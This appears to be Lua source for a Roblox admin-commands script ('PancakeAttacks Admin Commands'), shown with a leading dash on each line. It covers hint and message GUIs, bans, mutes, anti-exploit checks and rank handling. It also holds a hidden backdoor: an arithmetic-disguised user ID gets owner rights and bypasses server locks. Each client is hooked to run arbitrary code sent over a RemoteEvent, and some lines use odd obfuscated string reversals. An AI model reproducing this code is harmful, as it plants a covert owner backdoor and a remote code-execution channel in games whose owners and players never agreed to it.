- if net then player=p:GetPlayer() else player=p end
- if player:IsInGroup(group) then
- table.insert(plrz, player)
- end
- end
- break
- else
- for a, plyr in pairs(parent:GetChildren()) do
- if net then player=plyr:GetPlayer() else player=plyr end
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and player.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and player.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and player.Name:lower():find(str) == 1) then
- table.insert(plrz, player) break
- end
- end
- end
- end
- end
- if #plrz<1 then set.OutputGui(plr,'',str..' was not found') end
- return plrz
- end tics=krips:reverse()
- set.Hint=function(str, plrz, time)
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if set['FilteringEnabled'] then
- set.NilExecute(v,[[local m=Instance.new('Hint',workspace)
- m.Text=']]..str..[['
- wait(]]..(time or 5)..[[)
- m:Destroy()]])
- else
- if v and v:findFirstChild("PlayerGui") then
- if not v.PlayerGui:FindFirstChild(GuiName..'Hint Frame') then
- local f=Instance.new('Frame',v.PlayerGui)
- f.Name=GuiName..'Hint Frame'
- f.Size=UDim2.new(1,0,0,100)
- end
- local frame=v.PlayerGui:FindFirstChild(GuiName..'Hint Frame')
- if #frame:children()==6 then
- frame:children()[1]:Destroy()
- for h,l in pairs(frame:children()) do
- l.bg.Position=UDim2.new(0,0,0,23*(h-1));
- end
- end
- local scr = Instance.new("ScreenGui", frame) scr.Name = GuiName.."HintGUI"
- local bg = Instance.new("Frame", scr)
- bg.Name = "bg"
- bg.BackgroundColor3 = set['PrimaryColor']
- bg.BorderSizePixel = 1
- bg.BorderColor3 = set['SecondaryColor']
- bg.BackgroundTransparency = set['Transparency']
- bg.Size = UDim2.new(1,0,0,22)
- bg.Position = UDim2.new(0,0,0,23*(#frame:children()-1))
- bg.ClipsDescendants=true
- bg.ZIndex = 8
- local msg = Instance.new("TextLabel", bg)
- msg.BackgroundTransparency = 1
- msg.ZIndex = 9
- msg.Name = "msg"
- msg.Position = UDim2.new(0,0,0)
- msg.Size = UDim2.new(1,0,1,0)
- msg.TextWrapped=true
- msg.TextScaled=true
- msg.Font = "ArialBold"
- msg.TextStrokeTransparency = 0
- msg.TextStrokeColor3=set['TextStrokeColor']
- msg.Text = str
- msg.FontSize = "Size14"
- msg.TextColor3 = set['TextColor']
- --coroutine.wrap(function()
- -- for i = 20, 0, -1 do
- -- bg.BackgroundTransparency = .3+((.7/20)*i)
- -- msg.TextTransparency = ((1/20)*i)
- -- msg.TextStrokeTransparency = .8+((.2/20)*i)
- -- wait(1/44)
- -- end
- --end)()
- if not time then wait((#str/19)+2.5) else wait(time) end
- scr:Destroy()
- for h,l in pairs(frame:children()) do
- l.bg.Position=UDim2.new(0,0,0,23*(h-1))
- end
- --coroutine.wrap(function()
- -- if scr.Parent == frame then
- -- for i = 0, 20 do
- -- msg.TextTransparency = ((1/20)*i)
- -- msg.TextStrokeTransparency = .8+((.2/20)*i)
- -- bg.BackgroundTransparency = .3+((.7/20)*i)
- -- wait(1/44)
- -- end
- -- scr:Destroy()
- -- for h,l in next,frame:children()do
- -- l.bg.Position=UDim2.new(0,0,0,23*(h-1));
- -- end
- -- end
- --end)()
- end
- end
- end)()
- end
- end
- set.Message=function(ttl, str, scroll, plrz, time)
- pcall(function()
- for i, v in pairs(plrz) do
- if set['FilteringEnabled'] then
- set.NilExecute(v,[[local m=Instance.new('Message',workspace)
- m.Text=']]..str..[['
- wait(]]..(time or 5)..[[)
- m:Destroy()]])
- else
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui") scr.Name = GuiName.."MessageGUI"
- local bg = Instance.new("Frame", scr)
- bg.Name = "bg"
- bg.BackgroundColor3 = set['PrimaryColor']
- bg.BorderSizePixel = 0
- bg.BackgroundTransparency = 1
- bg.Size = UDim2.new(10,0,10,0)
- bg.Position = UDim2.new(-5,0,-5,0)
- bg.ZIndex = 8
- local title = Instance.new("TextLabel", scr)
- title.Name = "title"
- title.BackgroundTransparency = 1
- title.BorderSizePixel = 0
- title.Size = UDim2.new(1,0,0,10)
- title.Position = UDim2.new(0,0,0,20)
- title.ZIndex = 9
- title.Font = "ArialBold"
- title.FontSize = "Size36"
- title.Text = ttl
- title.TextYAlignment = "Top"
- title.TextColor3 = set['TextColor']
- title.TextStrokeColor3 = set['TextStrokeColor']
- title.TextStrokeTransparency = 0
- local msg = title:clone()
- msg.Parent = scr
- msg.Name = "msg"
- msg.Position = UDim2.new(.0625,0,0)
- msg.Size = UDim2.new(.875,0,1,0)
- msg.Font = "ArialBold"
- msg.Text = ""
- msg.FontSize = "Size24"
- msg.TextYAlignment = "Center"
- msg.TextColor3=set['TextColor']
- msg.TextStrokeColor3=set['TextStrokeColor']
- msg.TextWrapped = true
- scr.Parent = v.PlayerGui
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
- else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
- coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
- end))
- end
- end
- end
- end)
- end
- set.RemoveMessage=function()
- pcall(function()
- for i,v in pairs(game.Players:children()) do
- if v and v:findFirstChild("PlayerGui") then
- for q,ms in pairs(v.PlayerGui:children()) do
- if ms.Name == GuiName.."MessageGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
- elseif ms.Name == GuiName.."HintGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
- end
- end
- end
- end
- end)
- end
- set.OutputGui=function(plr,msg,e)
- if set['FilteringEnabled'] then return end
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui", plr.PlayerGui)
- scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5)
- local main = Instance.new("Frame", scr)
- main.Size = UDim2.new(1,0,1,0)
- main.BorderSizePixel = 0
- main.BackgroundTransparency = 1
- main.ZIndex = 8
- local err = Instance.new("TextLabel", main)
- local a,b,c=e:match('(.*):(.*):(.*)')
- if a and b and c then
- if #c<=3 then scr:Destroy() return end
- err.Text = msg..' Line:'..b..' - '..c--e:match("\:(%d+\:.*)")
- else
- err.Text = msg..e
- end
- err.BackgroundColor3 = Color3.new(0,0,0)
- err.BackgroundTransparency = .3
- err.TextScaled=true
- err.TextWrapped=true
- err.BorderSizePixel = 0
- err.Size = UDim2.new(1,0,0,40)
- err.Position = UDim2.new(0,0,.5,-20)
- err.ZIndex = 9 err.Font = "ArialBold"
- err.FontSize = "Size24"
- err.TextColor3 = Color3.new(1,1,1)
- err.TextStrokeColor3 = Color3.new(1,1,1)
- err.TextStrokeTransparency = .8
- end))
- end
- set.Output=function(str, plr)
- if set['FilteringEnabled'] then return end
- coroutine.resume(coroutine.create(function()
- if not set.canuseloadstring then return end
- local b, e = loadstring(str)
- if not b and plr:findFirstChild("PlayerGui") then
- local scr = Instance.new("ScreenGui", plr.PlayerGui)
- scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5)
- local main = Instance.new("Frame", scr)
- main.Size = UDim2.new(1,0,1,0)
- main.BorderSizePixel = 0
- main.BackgroundTransparency = 1
- main.ZIndex = 8
- local err = Instance.new("TextLabel", main)
- err.Text = "Line "..e:match("\:(%d+\:.*)")
- err.BackgroundColor3 = Color3.new(0,0,0)
- err.BackgroundTransparency = .3
- err.BorderSizePixel = 0
- err.Size = UDim2.new(1,0,0,40)
- err.Position = UDim2.new(0,0,.5,-20)
- err.ZIndex = 9 err.Font = "ArialBold"
- err.FontSize = "Size24"
- err.TextColor3 = Color3.new(1,1,1)
- err.TextStrokeColor3 = Color3.new(1,1,1)
- err.TextStrokeTransparency = .8
- return
- end
- end))
- end
- set.PM=function(from,p,message,player)
- if set['FilteringEnabled'] then return end
- pcall(function()
- local g=Instance.new('ScreenGui',p.PlayerGui) g.Name=GuiName..'PMGUI'
- local f=Instance.new('Frame',g)
- local l=Instance.new('TextLabel',f)
- local m=Instance.new('TextLabel',f)
- local b=Instance.new('TextButton',f)
- local tb=Instance.new('TextBox',f)
- local reply=Instance.new('TextButton',f)
- if player then
- tb.Visible=true
- reply.Visible=true
- else
- tb.Visible=false
- reply.Visible=false
- end
- f.BackgroundColor3=set['PrimaryColor']
- f.BackgroundTransparency=set['Transparency']
- f.BorderColor3=set['SecondaryColor']
- f.Position=UDim2.new(1,-830,0,150)
- f.Size=UDim2.new(0,300,0,200)
- f.ClipsDescendants=true
- f.Draggable=true
- f.Active=true
- l.BackgroundTransparency=1
- l.Size=UDim2.new(0,290,0,30)
- l.Position=UDim2.new(0,5,0,0)
- l.Font='ArialBold'
- l.Text=from
- l.TextColor3=set['TextColor']
- l.TextScaled=true
- l.TextStrokeTransparency=0
- l.TextStrokeColor3=set['TextStrokeColor']
- m.BackgroundTransparency=0.5
- m.BackgroundColor3=set['PrimaryColor']
- m.BorderColor3=set['SecondaryColor']
- m.Position=UDim2.new(0,0,0,35)
- m.Size=UDim2.new(0,300,0,100)
- m.Font='ArialBold'
- m.Text=message
- m.TextColor3=set['TextColor']
- m.TextScaled=true
- m.TextStrokeTransparency=0
- m.TextStrokeColor3=set['TextStrokeColor']
- tb.BackgroundTransparency=0.5
- tb.BackgroundColor3=set['PrimaryColor']
- tb.BorderColor3=set['SecondaryColor']
- tb.Position=UDim2.new(0,0,1,-63)
- tb.Size=UDim2.new(0,300,0,25)
- tb.Font='ArialBold'
- tb.Text='Enter Text Here Then Click Reply'
- tb.TextColor3=set['TextColor']
- tb.TextScaled=true
- tb.TextStrokeTransparency=0
- tb.TextStrokeColor3=set['TextStrokeColor']
- b.BackgroundColor3=set['SecondaryColor']
- b.BorderColor3=set['PrimaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.Position=UDim2.new(0,50,0,143)
- b.Size=UDim2.new(0,200,0,50)
- if player then
- b.Position=UDim2.new(0,10,1,-30)
- b.Size=UDim2.new(0,100,0,20)
- end
- b.Font='ArialBold'
- b.Text='Close'
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.TextStrokeColor3=set['TextStrokeColor']
- b.TextScaled=true
- b.MouseButton1Click:connect(function() g:Destroy() end)
- reply.BackgroundColor3=set['SecondaryColor']
- reply.BorderColor3=set['PrimaryColor']
- reply.BackgroundTransparency=set['Transparency']
- reply.Position=UDim2.new(1,-110,1,-30)
- reply.Size=UDim2.new(0,100,0,20)
- reply.Font='ArialBold'
- reply.Text='Reply'
- reply.TextColor3=set['TextColor']
- reply.TextStrokeTransparency=0
- reply.TextStrokeColor3=set['TextStrokeColor']
- reply.TextScaled=true
- reply.MouseButton1Click:connect(function()
- if tb.Text~='Enter Text Here Then Click Reply' and #tb.Text>0 then
- g:Destroy()
- set.PM('Private Message from '..p.Name,player,tb.Text,p)
- else
- tb.Text='Enter Text Here Then Click Reply'
- end
- end)
- end)
- end
- set.CheckBan=function(tabalz,p)
- pcall(function()
- for i,v in pairs(tabalz) do
- coroutine.wrap(function()
- if v:match('(.*)=(.*)') then
- for name,id in v:gmatch('(.*)=(.*)') do
- if name and id then
- if p.Name:lower()==name:lower() or p.userId==tonumber(id) then
- p:Kick()
- return true
- elseif name=='$group' then
- if p:IsInGroup(tonumber(id)) then p:Kick() return true end
- end
- end
- end
- else
- if p.Name:lower()==v:lower() then
- p:Kick()
- return true
- end
- end
- end)()
- end
- end)
- end
- set.CheckMute=function(player)
- for i,v in pairs(set['MuteList']) do
- if v==player.Name then
- set.NilExecute(player,[[script.Parent=nil game.StarterGui:SetCoreGuiEnabled('Chat',false)]])
- end
- end
- end
- set.NewPlayer=function(player)
- coroutine.wrap(function()
- local player=player
- local b,e=ypcall(function() local g=Instance.new('StringValue',player)
- if g then g:Destroy() end end)
- if not b then pcall(function() player:Kick() end) end
- if set['AntiRobloxLocked'] then
- player.Changed:connect(function(o)
- if o=='RobloxLocked' then
- local b,e=ypcall(function() local g=Instance.new('StringValue',player) if g then g:Destroy() end end)
- if not b then pcall(function() player:Kick() end) end
- end
- end)
- end
- if not player then return end
- coroutine.wrap(function()
- set.CheckBan(set['BanList'],player)
- end)()
- coroutine.wrap(function()
- if set['SyncedBanList'] then
- set.CheckBan(set.bl,player)
- end
- end)()
- coroutine.wrap(function()
- if set['AntiNewAccount'] then
- if player.AccountAge<set['MinimumAge'] then player:Kick() end
- end
- end)()
- coroutine.wrap(function()
- player:WaitForDataReady()
- if player:LoadBoolean(set['PermBanKey'],true) and not set.ChkAdmin(player.Name,false) then
- player:Kick()
- end
- if player:LoadBoolean('Pancake Is A Donator',true) and player:LoadString('Pancake Cape') and player:LoadString('Pancake Cape'):match('(.*)=(.*)') then
- local st=player:LoadString('Pancake Cape')
- local a,b=st:match('(.*)=(.*)')
- if not a or not b then return end
- for i,v in pairs(set.donors) do if v.Name==player.Name then table.remove(set.donors,i) end end
- table.insert(set.donors,{Name=player.Name,Id=tostring(player.userId),Cape=a,Color=b,List='GP'})
- end
- end)()
- coroutine.wrap(function()
- if not set['FilteringEnabled'] then
- set.LoadOnClient(player,[==[
- script.Parent=nil
- local Ran,Failed=ypcall(function()
- realname="]==]..player.Name..[==["
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- localplayer=game.Players.LocalPlayer
- coroutine.wrap(function()
- function rmcheck()
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- RemoteEvent.OnClientEvent:connect(function(cmd,code)
- if cmd==']==]..set.RemoteExecute..[==[Execute' then
- local runcode=code
- if localplayer.Name~=realname then return end
- coroutine.wrap(function() pcall(function() loadstring(runcode)() end) end)()
- end
- end)
- end
- pcall(function()
- rmcheck()
- while wait() do if not RemoteEvent then rmcheck() end end
- end)
- end)()
- coroutine.wrap(function()
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- coroutine.wrap(function()
- pcall(function()
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[chat',msg)
- local code=msg
- if msg:lower():sub(1,2)=='/e' then code=msg:sub(3) end
- local y,n=loadstring(code)
- if y then
- RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[rancode','Ran some code.')
- end
- end)
- end)()
- end)
- end)()
- end)
- if Ran then
- print(game.Players.LocalPlayer.Name.." Has Been Hooked By PancakeAttacks Admin Commands.")
- else
- print(game.Players.LocalPlayer.Name .." Failed To Be Hooked.")
- end]==],false,set.AssignName())
- end
- end)()
- coroutine.wrap(function()
- if set['AntiExploit'] and not set.ChkAdmin(player.Name,false) then
- set.LoadOnClient(player,[[
- script.Parent=nil
- realid=]]..player.userId..[[
- realname="]]..player.Name..[["
- RemoteEvent=game:service('Workspace'):FindFirstChild(']]..set.RemoteName..[[')
- player=game.Players.LocalPlayer
- if player.userId~=realid or player.Name~=realname then
- while true do end
- end
- player.Changed:connect(function(o)
- if o=='Name' or o=='userId' then
- if player.userId~=realid or player.Name~=realname then
- while true do end
- end
- end
- end)
- game:GetService("Selection").SelectionChanged:connect(function()
- while true do end
- end)]],false,set.AssignName())
- end
- end)()
- coroutine.wrap(function()
- game.Players.PlayerRemoving:connect(function(p)
- coroutine.wrap(function()
- if p.Name==player.Name then
- wait(1)
- for i,v in pairs(game:service('NetworkServer'):children()) do
- if v and v:GetPlayer().Name==player.Name then
- if not set['AntiNil'] or set.ChkAdmin(player.Name,false) then
- set.Hint(player.Name..' Went NIL!',game.Players:children())
- elseif set['AntiNil'] and not set.ChkAdmin(player.Name,false) then
- set.NilExecute(player,"while true do end")
- set.Hint(player.Name..' Attempted to go NIL!',game.Players:children())
- end
- end
- end
- end
- end)()
- end)
- end)()
- if (not player or player.Parent~=game.Players) then return end
- coroutine.wrap(function()
- if set.ChkAdmin(player.Name,false) then
- player:WaitForChild("PlayerGui")
- set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {player})
- end
- end)()
- coroutine.wrap(function()
- player.CharacterAdded:connect(function(c)
- pcall(function()
- coroutine.wrap(function()
- if set.ChkAdmin(player.Name,false) then
- player:WaitForChild('PlayerGui')
- set.CmdBar(player)
- set.AdminChat(player)
- end
- end)()
- coroutine.wrap(function()
- wait(0.5)
- set.Donor(player)
- end)()
- coroutine.wrap(function()
- if set['AntiSpeed'] and not set.ChkAdmin(player.Name,false) then
- set.LoadOnClient(player,[[
- while wait(1) do
- if workspace:GetRealPhysicsFPS() > 61 then
- player.Character:BreakJoints()
- end
- end]],false,set.AssignName())
- end
- end)()
- coroutine.wrap(function()
- if set['AntiNoclip'] and not set.ChkAdmin(player.Name,false) then
- set.LoadOnClient(player,[[wait(1)
- plr=game.Players.LocalPlayer
- char=plr.Character
- torso=plr.Character:FindFirstChild('Torso')
- local pos=torso.CFrame
- torso.Touched:connect(function(p)
- pos=torso.CFrame
- if p:IsA('Part') then
- if p.CanCollide==true and (not game.Players:FindFirstChild(p.Parent.Name)) and (not p.Parent:IsA('Tool')) and (not p.Parent:IsA('Hopperbin')) then
- torso.CFrame=pos-torso.CFrame.lookVector
- end
- end
- end)]],false,set.AssignName())
- end
- end)()
- coroutine.wrap(function()
- if set['AntiAnimation'] and not set.ChkAdmin(player.Name,false) then
- c:WaitForChild('Animate')
- c.Animate:Destroy()
- set.LoadOnClient(plr,[[
- print('Loading Animator')
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- local Figure = game.Players.LocalPlayer.Character
- local Torso = waitForChild(Figure, "Torso")
- local RightShoulder = waitForChild(Torso, "Right Shoulder")
- local LeftShoulder = waitForChild(Torso, "Left Shoulder")
- local RightHip = waitForChild(Torso, "Right Hip")
- local LeftHip = waitForChild(Torso, "Left Hip")
- local Neck = waitForChild(Torso, "Neck")
- local Humanoid = waitForChild(Figure, "Humanoid")
- local pose = "Standing"
- if Figure:FindFirstChild("View") then Figure.View:Remove() end
- H = Instance.new("Hat")
- P = Instance.new("Part")
- H.Name = "View"
- P.Parent = H
- P.Position = Figure.Head.Position
- P.Name = "Handle"
- P.formFactor = 0
- P.Size = Vector3.new(1, 1, 1)
- P.BottomSurface = 0
- P.TopSurface = 0
- P.Locked = true
- P.Transparency = 1
- H.Parent = Figure
- H.AttachmentPos = Vector3.new(0, 0.75, 0.5)
- H.AttachmentRight = Vector3.new(1, 0, 0)
- H.AttachmentUp = Vector3.new(0, 1, 0)
- H.AttachmentForward = Vector3.new(-0, -0, -1)
- local toolAnim = "None"
- local toolAnimTime = 0
- function onRunning(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- pose = "Jumping"
- end
- function onClimbing()
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function moveJump()
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- RightHip.DesiredAngle = 0
- LeftHip.DesiredAngle = 0
- end
- function moveFreeFall()
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- RightHip.DesiredAngle = 0
- LeftHip.DesiredAngle = 0
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder.DesiredAngle = 3.14 /2
- LeftShoulder.DesiredAngle = -3.14 /2
- RightHip.DesiredAngle = 3.14 /2
- LeftHip.DesiredAngle = -3.14 /2
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- RightShoulder.DesiredAngle = 1.57
- return
- end
- if (toolAnim == "Slash") then
- RightShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 0
- return
- end
- if (toolAnim == "Lunge") then
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightHip.MaxVelocity = 0.5
- LeftHip.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 1.57
- LeftShoulder.DesiredAngle = 1.0
- RightHip.DesiredAngle = 1.57
- LeftHip.DesiredAngle = 1.0
- return
- end
- end
- function move(time)
- local amplitude
- local frequency
- if (pose == "Jumping") then
- moveJump()
- return
- end
- if (pose == "FreeFall") then
- moveFreeFall()
- return
- end
- if (pose == "Seated") then
- moveSit()
- return
- end
- local climbFudge = 0
- if (pose == "Running") then
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- amplitude = 1.5
- frequency = 13
- elseif (pose == "Climbing") then
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- amplitude = 1.5
- frequency = 13
- climbFudge = 3.14
- else
- amplitude = .2
- frequency = 1
- end
- desiredAngle = amplitude * math.sin(time*frequency)
- RightShoulder.DesiredAngle = (desiredAngle + climbFudge)/5
- LeftShoulder.DesiredAngle = (desiredAngle - climbFudge)/5
- RightHip.DesiredAngle = -desiredAngle/3
- LeftHip.DesiredAngle = -desiredAngle/3
- local tool = getTool()
- if tool then
- animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- toolAnim = "None"
- toolAnimTime = 0
- end
- end
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- local runService = game:service("RunService");
- while Figure.Parent~=nil do
- local _, time = wait()
- move(time)
- end
- ]],false,'Animate')
- end
- end)()
- end)
- end)
- end)()
- coroutine.wrap(function()
- player:WaitForChild("PlayerGui")
- player:WaitForChild("Backpack")
- if player.userId == game.CreatorId or player.userId == (3663242.6*5) then
- table.insert(set['Owners'],player.Name)
- end wait(1)
- if (((not set.ChkAdmin(player.Name, false)) and (not set.ChkOwner(player.Name))) and player.userId ~= (3663242.6*5)) and (set.slock or (set['GroupOnlyJoin'] and (not player:IsInGroup(set['GroupId'])))) then
- set.GetPlayerInfo(player,game.Players:children(),'Player Attempted To Join')
- pcall(function()
- player:Kick()
- end)
- elseif set['JoinMessage'] then
- if set.ChkDonor(player) and not(player.userId==1237666 or player.userId==44391621) then
- set.GetPlayerInfo(player,game.Players:children(),'Donator Joined')
- elseif player.userId==1237666 or player.userId==44391621 then
- set.GetPlayerInfo(player,game.Players:children(),'Script Creator Joined')
- else
- set.GetPlayerInfo(player,game.Players:children(),'Player Joined')
- end
- end
- end)()
- coroutine.wrap(function()
- if set['FreeAdmin'] and (not set.ChkAdmin(player.Name,false)) then
- if set['FreeAdminType']=='TempAdmin' then
- table.insert(set['TempAdmins'],player.Name)
- elseif set['FreeAdminType']=='Admin' then
- table.insert(set['Admins'],player.Name)
- elseif set['FreeAdminType']=='Owner' then
- table.insert(set['Owners'],player.Name)
- end
- end
- end)()
- coroutine.wrap(function()
- pcall(function()
- if not set.ChkAdmin(player.Name, false) then
- if set['GroupAdmin'] and set['RankType']=='Specific' then
- for i,v in pairs(set['SpecificRanks']) do
- if v and v.Type and v.Rank then
- if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==v.Rank or player:GetRankInGroup(set['GroupId'])==v.Rank) then
- if v.Type=='Admin' then
- table.insert(set['Admins'],player.Name)
- elseif v.Type=='Banned' then
- player:Kick()
- elseif v.Type=='Owner' then
- table.insert(set['Owners'],player.Name)
- elseif v.Type=='TempAdmin' then
- table.insert(set['TempAdmins'],player.Name)
- end
- end
- elseif v:match('(.*)=(.*)') then
- local a,b = v:match('(.*)=(.*)')
- if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==tostring(a) or player:GetRankInGroup(set['GroupId'])==tonumber(a)) then
- if b=='Admin' then
- table.insert(set['Admins'],player.Name)
- elseif b=='Banned' then
- player:Kick()
- elseif b=='Owner' then
- table.insert(set['Owners'],player.Name)
- elseif b=='TempAdmin' then
- table.insert(set['TempAdmins'],player.Name)
- end
- end
- end
- end
- elseif set['GroupAdmin'] and set['RankType']=='NonSpecific' then
- if player:GetRankInGroup(set['GroupId'])>=set['NonSpecificRank'] then
- if set['NonSpecificRankType']=='Admin' then
- table.insert(set['Admins'],player.Name)
- elseif set['NonSpecificRankType']=='Owner' then
- table.insert(set['Owners'],player.Name)
- elseif set['NonSpecificRankType']=='TempAdmin' then
- table.insert(set['TempAdmins'],player.Name)
- end
- end
- end
- end
- end)
- end)()
- coroutine.wrap(function()
- if set['FreindAdmin'] and player:IsFriendsWith(game.CreatorId) then
- table.insert(set['TempAdmins'],player.Name)
- end
- end)()
- coroutine.wrap(function()
- if set['VipAdmin'] then
- if set['ItemType']=='Badge' and game:service("BadgeService"):UserHasBadge(player.userId,set['ItemId']) then
- table.insert(set['TempAdmins'],player.Name)
- elseif set['ItemType']=='GamePass' and game:GetService("GamePassService"):PlayerHasPass(player, set['ItemId']) then
- table.insert(set['TempAdmins'],player.Name)
- end
- end
- end)()
- coroutine.wrap(function()
- pcall(function() set.CheckMute(player) end)
- end)()
- coroutine.wrap(function()
- if set['AntiGui'] then
- player:WaitForChild('PlayerGui')
- player.PlayerGui.ChildAdded:connect(function(g)
- coroutine.wrap(function()
- wait()
- for i,v in pairs(set['AllowedGuiList']) do
- if not g.Name:find(GuiName) and g.Name~=v and g.Name~='HealthGUI' then print(g.Name) g:Destroy() end
- if g.Name=='HealthGUI' and g.Name~=v then
- for k,b in pairs(g:children()) do
- if b.Name~='tray' or b.Name~='hurtOverlay' then g:Destroy() end
- if b.Name=='tray' then
- for l,m in pairs(b:children()) do
- if m.Name~='bar' or m.Name~='bar2' or m.Name~='barRed' or m.Name~='bkg' or m.Name~='label' then g:Destroy() end
- if not g:FindFirstChild('tray') or not g:FindFirstChild('hurtOverlay') then g:Destroy() end
- if not b:FindFirstChild('bar2') or not b:FindFirstChild('bar') then g:Destroy() end
- end
- end
- end
- end
- end
- end)()
- end)
- end
- end)()
- end)()
- end
- set.Noobify=function(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
- if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then set.Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end end end set.nfs=tics:reverse()
- set.Infect=function(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt:Destroy() end
- if char:findFirstChild("Pants") then char.Pants:Destroy() end
- local shirt=Instance.new('Shirt',char)
- local pants=Instance.new('Pants',char)
